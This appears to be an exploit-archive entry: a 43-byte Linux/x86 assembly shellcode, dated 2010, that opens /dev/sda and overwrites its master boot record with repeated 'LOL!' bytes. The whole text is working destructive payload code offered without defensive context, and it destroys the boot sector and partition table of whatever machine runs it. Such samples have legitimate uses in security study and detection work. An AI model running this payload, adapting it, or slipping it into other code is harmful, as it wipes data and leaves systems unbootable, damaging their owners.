43 bytes small Linux/x86 MBR overwrite code that hits /dev/sda with LOL!
d5781e68ae3254e63aa024d28c5fa3b8bb4003a050b6fe75afadc434a7289359
; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15
section .text
global _start
_start:
; open("/dev/sda", O_WRONLY);
mov al, 5
xor ecx, ecx
push ecx
push dword 0x6164732f
push dword 0x7665642f
mov ebx, esp
inc ecx
int 0x80
; write(fd, "LOL!"x128, 512);
mov ebx, eax
mov al, 4
cdq
push edx
mov cl, 128
fill:
push dword 0x214c4f4c
loop fill
mov ecx, esp
inc edx
shl edx, 9
int 0x80